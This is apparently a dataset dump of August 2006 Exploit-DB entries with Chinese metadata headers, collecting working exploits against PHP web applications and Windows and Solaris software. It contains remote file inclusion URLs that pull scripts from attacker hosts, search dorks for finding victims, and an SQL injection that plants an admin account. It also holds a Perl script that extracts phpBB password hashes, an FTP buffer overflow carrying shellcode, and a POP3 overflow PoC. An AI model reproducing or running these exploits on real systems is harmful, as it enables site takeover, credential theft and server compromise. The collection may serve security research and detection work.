QLWD/code_shield huggingface dataset:
标题: Web3news 0.95 - 'PHPSECURITYADMIN_PATH' Remote File Inclusion EDB-ID: 2269 CVE: 2006-4452 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-28 漏洞利用脚本: #==============================================================================================
#Web3news <= v0.95 (PHPSECURITYADMIN_PATH) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.web3king.com/web3news           
#                                                                           
#Version : All Versions                                                
#                                                             
#================================================================================================
#Bug in : security/include/_class.security.php
#
#Vlu Code :
#--------------------------------
#     <?
#                include $PHPSECURITYADMIN_PATH."lang/".$lang.".lang.php";
#    
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/security/include/_class.security.php?PHPSECURITYADMIN_PATH=http://SHELLURL.COM?
#
#Example : http://www.web3king.com/web3news/  ======> Vendor site
#
#DOrk : allinurl : /web3news/
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-08-28] URL: https://www.exploit-db.com/exploits/2269
标题: Ay System CMS 2.6 - 'main.php' Remote File Inclusion EDB-ID: 2263 CVE: 2006-4441 2006-4440 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-27 漏洞利用脚本: #==============================================================================================
#Ay System Solutions CMS <= v2.6 (main.php) Remote File Inclusion Exploit
#===============================================================================================
#                                                                           
#Critical Level : Dangerous                                                 
#                                                                           
#Venedor site : http://www.aysad.net/            
#                                                                            
#Version : 2.6                                                 
#                                                              
#================================================================================================
#Bug in : manage/template/standard/main.php
#
#Vlu Code :
#--------------------------------
#     <?
#                include($path["ShowProcessHandle"]);
#     ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/manage/template/standard/main.php?path[ShowProcessHandle]=http://SHELLURL.COM?
#
#Example : http://site.turkradyosu.com
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-08-27] URL: https://www.exploit-db.com/exploits/2263
标题: PortailPHP mod_phpalbum 2.1.5 - 'chemin' Remote File Inclusion EDB-ID: 2271 CVE: 2006-4498 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-29 漏洞利用脚本: ############################################################

#Portail PHP mod_phpalbum 2.15  Modules Remote File Inclusion Vulnerabilities

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  include_once ($chemin."conf/code.php")

############################################################

#Exploit: http://www.site.com/[path]/mod_phpalbum/sommaire_admin.php?chemin=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA

############################################################

# milw0rm.com [2006-08-29] URL: https://www.exploit-db.com/exploits/2271
标题: MiniBill 1.22b - config[plugin_dir] Remote File Inclusion EDB-ID: 2272 CVE: 2006-4489 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-29 漏洞利用脚本: ########################################################################
#  MiniBill v1.22 Beta  Remote File Inclusion Vulnerability
#
#  Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#
http://[Target]/[Path]/actions/ipn.php?config[plugin_dir]=http://cmd.gif?
#
http://[Target]/[Path]/include/initPlugins.php?config[plugin_dir]=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-29] URL: https://www.exploit-db.com/exploits/2272
标题: Cybozu Products - 'id' Arbitrary File Retrieval EDB-ID: 2266 CVE: 2006-4490 类型: WEBAPPS 平台: CGI 发布日期: 2006-08-28 漏洞利用脚本: Cybozu Products Arbitrary File Retrieval Vulnerability

by Tan Chew Keong
Release Date: 2006-08-28

Summary

A vulnerability has been found in Cybozu Products. When exploited, the vulnerability allows 
an authenticated user to retrieve arbitrary files accessible to the web server process.

Tested Versions
    * Cybuzu Office Version 6.5 (Build 1.2 20050427121735) for Windows
    * Cybozu Share 360 Version 2.5 (Build 0.2 20050121115231) for Windows


Details

This advisory discloses a directory traversal vulnerability in Cybozu products.
1) Cybozu Office File Cabinet File Download Directory Traversal

Cybuzu Office does not properly validate the "id" parameter in "/scripts/cbag/ag.exe" before 
using it to retrieve files from the file cabinet for a logon user. This allows a malicious user 
to retrieve arbitrary files accessible to the web server process using directory traversal characters.

Example (to retrieve the password hash of the admin page):

http://192.168.1.64/scripts/cbag/ag.exe?page=FileDownload&id=../../../../../../../../../../../../../inetpub/scripts/cbag/cb5/data/admin&notimecard=1&type=text&subtype=html&ct=1
 

2) Cybozu Share 360 File Cabinet and Message Attachment Download Directory Traversal

Cybuzu Share 360 does not properly validate the "id" parameter in "/scripts/s360v2/s360.exe" 
before using it to retrieve files from the file cabinet and to retrieve file attachments from a 
received message/memo. This allows a malicious user to retrieve arbitrary files accessible to the 
web server process using directory traversal characters.

Example (to retrieve the password hash of the admin page):

http://192.168.1.64/scripts/s360v2/s360.exe?page=FileDownload&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&type=text&subtype=plain&ct=1&.txt

http://192.168.1.64/scripts/s360v2/s360.exe?page=MessageDownload&mid=37&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&bc=1&type=text&subtype=plain&ct=1&.txt
 

Patch / Workaround

Cybuzu Office:
Update to Version 6.6 (Build 1.3).

Cybozu Share 360:
Update to Version 2.5 (Build 0.3).

References

http://cybozu.co.jp/products/dl/notice_060825/

Disclosure Timeline

2006-07-04 - Vulnerability Discovered.
2006-07-13 - Initial Vendor Notification.
2006-07-13 - Initial Vendor Reply.
2006-07-14 - Received scheduled patch release date from vendor.
2006-08-16 - Received notification that patch release will be delayed.
2006-08-25 - Vendor released patch information on website.
2006-08-28 - Public Disclosure.

Contact
For further enquries, comments, suggestions or bug reports, simply email them to 
Tan Chew Keong (chewkeong[at]vuln[dot]sg)

# milw0rm.com [2006-08-28] URL: https://www.exploit-db.com/exploits/2266
标题: ExBB Italiano 0.2 - exbb[home_path] Remote File Inclusion EDB-ID: 2273 CVE: 2006-4488 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-29 漏洞利用脚本: #==============================================================================================
#ExBB Italian version <= v2.0 (home_path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.exbb.altervista.org/           
#                                                                           
#Version : 2.0                                                
#                                                             
#================================================================================================
#Bug in : smodules/userstop/userstop.php
#
#Vlu Code :
#--------------------------------
#     <?
#  include($exbb['home_path'].'modules/userstop/data/userstop_conf.php');
#  include($exbb['home_path'].'modules/userstop/language/'.$exbb['default_lang'].'/lang.php')
#    
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/modules/userstop/userstop.php?exbb[home_path]=http://SHELLURL.COM?
#
#DOrk : in Yahoo.it =====>         "Powered by ExBB "
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-08-29] URL: https://www.exploit-db.com/exploits/2273
标题: PHPCOIN 1.2.3 - 'session_set.php' Remote File Inclusion EDB-ID: 2254 CVE: 2006-4425 2006-4424 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-24 漏洞利用脚本: phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote Include Vulnerability

##################################################################

Discovered by: Timq
http://www.securitydb.org
##################################################################

Email: timq[at]hackernetwork[dot]com

http://www.securitydb.org
##################################################################

Vulnerable: require_once include ($_CCFG['_PKG_PATH_INCL'].'redirect.php');

###################################################################

Exploit PoC:

http://www.site.com/[path]/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script?
http://www.site.com/[path]/includes/constants.php?_CCFG[_PKG_PATH_INCL]=http://evil_script?

Dork: Powered By phpCOIN 1.2.3
####################################################################

Shoutz: Warpboy,Z66,Gammarays,Archangel,BliTz,Splinter,InTel,ErazerZ,Maggot,PunKerX,Infiltration

#####################################################################

# milw0rm.com [2006-08-24] URL: https://www.exploit-db.com/exploits/2254
标题: eFiction < 2.0.7 - Remote Admin Authentication Bypass EDB-ID: 2255 CVE: 2006-4427 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-25 漏洞利用脚本: ##########################################
# eFiction vulnerability
##########################################
# I am releasing this to the public. Vendor was notified. Someone is also illegally defacing 
these websites under MY name, which is a shame because they ripped it from a private discussion 
on g00ns.net. This proof of concept is not to be used to illegally hack websites. I do not condone, 
nor act in this type of activity. I suggest whomever is defacing websites under my name stop, 
since you would gain more notorioty under your own name.
##########################################

http://[target].com/efiction/index.php?adminloggedin=1&loggedin=1&level=1

Use firefox's extension "add n edit cookies" to add these to your cookies so they stick. 
(ie: instead of $_GET['loggedin'] its $_COOKIE['loggedin'] which stays with each page)

# milw0rm.com [2006-08-25] URL: https://www.exploit-db.com/exploits/2255
标题: pSlash 0.7 - 'lvc_include_dir' Remote File Inclusion EDB-ID: 2249 CVE: 2006-4373 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-23 漏洞利用脚本: ############################################################

pSlash v0.7 (lvc_include_dir) Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  require($lvc_include_dir.'db/db_mysql.inc.php');

############################################################

#Exploit:
http://www.site.com/[path]/modules/visitors2/include/config.inc.php?lvc_include_dir=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, sakkkure

############################################################

# milw0rm.com [2006-08-23] URL: https://www.exploit-db.com/exploits/2249
标题: ProManager 0.73 - 'note.php' SQL Injection EDB-ID: 2259 CVE: 2006-4419 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-26 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- proManager <= 0.73 (Add Admin) SQL Injection Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: proManager v.0.73
- [Script site: http://sourceforge.net/projects/promanager/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[proManager_path]/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.Kacper.devilteam.Kacper.kacper1964@yahoo.pl.1)/*

Admin name: Kacper
Password: devilteam

# milw0rm.com [2006-08-26] URL: https://www.exploit-db.com/exploits/2259
标题: CliServ Web Community 0.65 - 'cl_headers' Include EDB-ID: 2257 CVE: 2006-7068 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-25 漏洞利用脚本: /*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- CliServ Web Community <= 0.65 (cl_headers) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: CliServ Web Community v. 0.65
- [Script site: http://sourceforge.net/projects/cliserv/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code => menu.php3 line 4-8:
....

include($cl_headers);
$query = "DELETE FROM cl_notice WHERE n_expire < ". time();
$result  = db_exec($connection, $query);
if($cl_loggedin == "2") {
....

++++++++++++++++++++++++++++++++++++++++++++++++++
vulnerable code => login.php3 line 4-8:
....

include($cl_header);

?>
<FORM METHOD="POST" ACTION="index.php3">
....
++++++++++++++++++++++++++++++++++++++++++++++++++
*/

#Exploit:

http://www.site.com/[CliServ_path]/menu.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt]

http://www.site.com/[CliServ_path]/login.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-25] URL: https://www.exploit-db.com/exploits/2257
标题: phpBB All Topics Mod 1.5.0 - 'start' SQL Injection EDB-ID: 2248 CVE: 2006-4367 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-23 漏洞利用脚本: #!/usr/bin/perl

print q{
_________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ ForumZ Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'       


# Author: SpiderZ
# Exploit: All Topics Hack Sql injection
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
-------------------------------------------------------------------------
Mod download: http://www.phpbbhacks.com/download/2821
-------------------------------------------------------------------------
_________________________________________________________________________

}; 

use IO::Socket;

print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /phpBB2/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "alltopics.php?mode=&order=ASC&start=-1%20UNION%20SELECT%20user_password%20FROM%20phpbb_ users%20where%20user_id=".$user ;
print "
Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}

# milw0rm.com [2006-08-23] URL: https://www.exploit-db.com/exploits/2248
标题: MDaemon POP3 Server < 9.06 - 'USER' Remote Buffer Overflow (PoC) EDB-ID: 2245 CVE: 2006-4364 类型: DOS 平台: WINDOWS 发布日期: 2006-08-22 漏洞利用脚本: #
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <leon.juranic@infigo.hr>
# Infigo IS <http://www.infigo.hr>
# 
#

$host = '192.168.0.105';

use IO::Socket;

for ($x = 0 ; $x < 12 ; $x++)
{
 $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp') 
 || die "socket error\n\n";
 recv ($sock, $var, 10000,0);
 print $var;
 print $sock "USER " . "\@A" x 160 . "\r\n";
 recv ($sock, $var, 10000,0);
 print $var;
 print $sock "QUIT\r\n";
 recv ($sock, $var, 10000,0);
 print $var;
 close ($sock);
 sleep(1);
}
 $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp') 
 || die "socket error\n\n";
 recv ($sock, $var, 10000,0);
 print $var;
 print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n";
 recv ($sock, $var, 10000,0);
 print $var;
 print $sock "USER " . "\'A" x  337 . "\r\n";
 recv ($sock, $var, 10000,0);
 print $var;
 sleep(2);

# milw0rm.com [2006-08-22] URL: https://www.exploit-db.com/exploits/2245
标题: Solaris 8/9 - '/usr/ucb/ps' Local Information Leak EDB-ID: 2242 CVE: 1999-1587 类型: LOCAL 平台: SOLARIS 发布日期: 2006-08-22 漏洞利用脚本: #!/bin/sh

#
# $Id: raptor_ucbps,v 1.1 2006/07/26 12:15:42 raptor Exp $
#
# raptor_ucbps - information leak with Solaris /usr/ucb/ps
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A security vulnerability in the "/usr/ucb/ps" (see ps(1B)) command may allow 
# unprivileged local users the ability to see environment variables and their 
# values for processes which belong to other users (Sun Alert ID: 102215).
#
# Absolutely nothing fancy, but it may turn out to be useful;)
#
# Usage:
# $ chmod +x raptor_ucbps
# $ ./raptor_ucbps
# [...]
#
# Vulnerable platforms (SPARC):
# Solaris 8 without patch 109023-05 [tested]
# Solaris 9 without patch 120240-01 [tested]
#
# Vulnerable platforms (x86):
# Solaris 8 without patch 109024-05 [untested]
# Solaris 9 without patch 120239-01 [untested]
#

echo "raptor_ucbps - information leak with Solaris /usr/ucb/ps"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

/usr/ucb/ps -auxgeww

# milw0rm.com [2006-08-22] URL: https://www.exploit-db.com/exploits/2242
标题: Easy File Sharing FTP Server 2.0 - 'PASS' Remote EDB-ID: 2234 CVE: 2006-3952 类型: REMOTE 平台: WINDOWS 发布日期: 2006-08-21 漏洞利用脚本: #!/usr/bin/python
#Easy File Sharing FTP Server 2.0 (PASS) 0day PoC exploit
#Proof of Concept: execute calc.exe
#Bug found by h07 <h07@interia.pl>
#Tested on XP SP2 polish
#Date: 28.07.2006
#
#BUFF([PASS + 0x20]+[0x2c]+[NOP * 2571]+[0x41414141]+[\r\n])
#EIP = 0x41414141

host = "127.0.0.1"
port = 21
len_recv = 1024
user_name = "anonymous"
NOP_LEN = 2571
EIP = 0x77AB367B #popad pop ret (CRYPT32.DLL) XP SP2 polish

from socket import *

shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

def intel_order(i):
   a = chr(i % 256)
   i = i >> 8
   b = chr(i % 256)
   i = i >> 8
   c = chr(i % 256)
   i = i >> 8
   d = chr(i % 256)
   str = "%c%c%c%c" % (a, b, c, d)
   return str

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(len_recv)

buffer = "USER %s\r\n" % (user_name)

s.send(buffer)
print s.recv(len_recv)

buffer = "PASS "
buffer += "\x2c"
buffer += "\x90" * (NOP_LEN - len(shellcode))
buffer += shellcode
buffer += intel_order(EIP)
buffer += "\r\n"

s.send(buffer)
print s.recv(len_recv)
s.close()

#EoF

# milw0rm.com [2006-08-21] URL: https://www.exploit-db.com/exploits/2234
标题: Empire CMS 3.7 - 'checklevel.php' Remote File Inclusion EDB-ID: 2239 CVE: 2006-4354 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-22 漏洞利用脚本: Empire CMS <=3.7 (checklevel.php) Remote File Include Vulnerability
           Find by: Bob Linuson

# Code:

2   $includefile=$check_path."e/class/MemberLevel.php";
3   include("$includefile");
.....
67  include($check_path."e/class/connect.php");
68  include($check_path."e/class/db_sql.php");
69  include($check_path."e/class/user.php");


#Exploit:

http://www.site.com/e/class/checklevel.php?check_path=http://shell.txt?


#URL:

http://www.phome.net/tmp/ecms37/
http://www.phome.net/tmp/ecms37/down.php?url=/tmp/ecms37/ecms3.7-free.rar&
english:
http://translate.google.com/translate?u=http%3A%2F%2Fwww.phome.net%2Ftmp%2Fecms37%2F&langpair=zh-CN%7Cen&hl=zh-CN&newwindow=1&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools

# milw0rm.com [2006-08-22] URL: https://www.exploit-db.com/exploits/2239